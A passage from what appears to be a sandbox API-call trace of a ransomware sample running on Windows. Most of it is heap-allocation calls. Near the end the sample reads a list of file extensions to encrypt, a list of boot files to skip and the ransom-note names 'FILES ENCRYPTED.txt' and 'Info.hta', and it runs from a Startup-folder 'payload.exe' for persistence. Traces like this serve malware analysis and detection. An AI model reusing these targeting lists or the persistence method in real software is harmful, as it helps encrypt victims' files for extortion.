(HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557698 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557860 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557878 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557890 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557788 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5576b0 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x557650 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5578a8 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557668 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5577d0 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x557728 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5576e0 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557740 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5576c8 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557800 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5577e8 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5576f8 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557758 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f430 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x54f440 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557770 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557710 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5577a0 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5577b8 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557818 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x557830 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557848 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579458 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579320 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579428 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5793c8 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579368 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5794b8 [0125.870] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554e08, Size=0x400) returned 0x5797e0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5794d0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579548 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x579500 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5795c0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5793e0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5794e8 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x579308 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5794a0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579338 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579530 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f2b0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5793f8 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5795f0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579470 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5793b0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579350 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579518 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x579440 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579380 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579398 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579410 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579560 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579578 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579488 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579590 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5795a8 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f2c0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5795d8 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579698 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579728 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5796b0 [0125.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579668 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579758 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579650 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5796c8 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579608 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x5796e0 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5796f8 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x579710 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579638 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579680 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579740 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579770 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5797b8 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x579788 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5797a0 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579620 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579248 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579218 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579080 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5790b0 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5791b8 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5790c8 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579068 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5791a0 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5790e0 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579050 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579098 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579170 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579200 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5791d0 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579230 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5790f8 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x5263b8 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579260 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579020 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579158 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579278 [0125.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5791e8 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5792d8 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579290 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5792f0 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5792a8 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5792c0 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579110 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579128 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579008 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579038 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579140 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579188 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a2a8 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a230 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a3b0 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a248 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x57a338 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x57a278 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x57a350 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x57a260 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x57a308 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f2d0 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a320 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f210 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a368 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a290 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a3c8 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x57a218 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x57a2f0 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a2c0 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x57a2d8 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a380 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x57a398 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x579e70 [0125.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579d38 [0125.873] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x579d50 [0125.873] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x579d80 [0125.873] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579cd8 [0125.873] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f0f0 [0125.873] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579e88 [0125.873] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x579d68 [0125.873] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5797e0, Size=0x800) returned 0x57a3f0 [0125.873] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0125.873] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x567fc8 | out: hHeap=0x510000) returned 1 [0125.873] lstrlenW (lpString="") returned 0 [0125.873] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b2b8 | out: hHeap=0x510000) returned 1 [0125.873] lstrlenW (lpString=".btix") returned 5 [0125.873] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f3a0, Size=0x8) returned 0x54f130 [0125.873] lstrlenW (lpString=".btix") returned 5 [0125.873] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b258 | out: hHeap=0x510000) returned 1 [0125.873] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57b3d8, Size=0x20) returned 0x54ef10 [0125.873] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ef10, Size=0x40) returned 0x5277e8 [0125.873] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5277e8, Size=0x80) returned 0x5571c0 [0125.873] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f3a0, Size=0x8) returned 0x54f280 [0125.873] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f280, Size=0x10) returned 0x57b318 [0125.873] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57b318, Size=0x20) returned 0x54efd8 [0125.874] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0125.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5571c0 | out: hHeap=0x510000) returned 1 [0125.874] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57b258, Size=0x20) returned 0x54f050 [0125.874] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f050, Size=0x40) returned 0x5278c0 [0125.874] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0125.874] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0125.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5278c0 | out: hHeap=0x510000) returned 1 [0125.874] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57b2d0, Size=0x20) returned 0x54efb0 [0125.874] lstrlenW (lpString="Info.hta") returned 8 [0125.874] lstrlenW (lpString="Info.hta") returned 8 [0125.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efb0 | out: hHeap=0x510000) returned 1 [0125.874] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57b400, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x48 [0125.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0125.874] lstrlenW (lpString="payload.exe") returned 11 [0125.874] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54efd8, Size=0x40) returned 0x527638 [0125.874] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57b348, Size=0x20) returned 0x54edf8 [0125.874] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57b318, Size=0x20) returned 0x54efb0 [0125.874] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54efb0, Size=0x40) returned 0x527ab8 [0125.874] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527ab8, Size=0x80) returned 0x5569c8 [0125.874] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5569c8, Size=0x100) returned 0x554e08 [0125.874] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0125.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554e08 | out: hHeap=0x510000) returned 1 [0125.874] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x57b400, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0125.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58b408 | out: hHeap=0x510000) returned 1 [0125.875] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0125.875] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f170, Size=0x8) returned 0x54f100 [0125.875] lstrlenW (lpString="%windir%;") returned 9 [0125.875] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54edf8 | out: hHeap=0x510000) returned 1 [0125.875] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0125.875] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x568fd0 | out: hHeap=0x510000) returned 1 [0126.083] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57adf0, Size=0x20) returned 0x54f050 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f050, Size=0x40) returned 0x56f1c0 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56f1c0, Size=0x80) returned 0x556cf8 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x556cf8, Size=0x100) returned 0x557bb0 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f0c0, Size=0x8) returned 0x54f150 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f150, Size=0x10) returned 0x57af10 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57af10, Size=0x20) returned 0x54f050 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f140, Size=0x8) returned 0x54f110 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f200, Size=0x8) returned 0x54f140 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f1e0, Size=0x8) returned 0x54f160 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f160, Size=0x10) returned 0x57aeb0 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57aeb0, Size=0x20) returned 0x54ebf0 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f110, Size=0x10) returned 0x57aeb0 [0126.126] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f140, Size=0x10) returned 0x57aef8 [0126.127] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f170, Size=0x8) returned 0x54f180 [0126.127] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f0d0, Size=0x8) returned 0x54f110 [0126.127] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57aeb0, Size=0x20) returned 0x54ec18 [0126.127] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57aef8, Size=0x20) returned 0x54ed30 [0126.127] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f280, Size=0x8) returned 0x54f220 [0126.127] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0126.127] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557bb0 | out: hHeap=0x510000) returned 1 [0126.127] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57ac70, Size=0x20) returned 0x54eb50 [0126.127] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x59b410, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0126.127] lstrlenW (lpString="C:\\") returned 3 [0126.127] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0126.127] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x59b410 | out: hHeap=0x510000) returned 1 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x525668 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x57ac70 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f200 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x14) returned 0x526698 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5709e8 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x80) returned 0x556610 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5708c8 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x82) returned 0x557bb0 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5707c0 [0126.128] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f0c0 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x570898 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x80) returned 0x557138 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x570958 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2) returned 0x54f2a0 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f230 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5708f8 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x80) returned 0x556698 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x570838 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f260 [0126.129] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f2a0, Size=0x82) returned 0x557c40 [0126.129] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f260, Size=0x100) returned 0x570ae0 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5707d8 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x82) returned 0x557cd0 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x570760 [0126.129] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x82) returned 0x570be8 [0126.129] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x557c40, Size=0x104) returned 0x570c78 [0126.129] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x570ae0, Size=0x200) returned 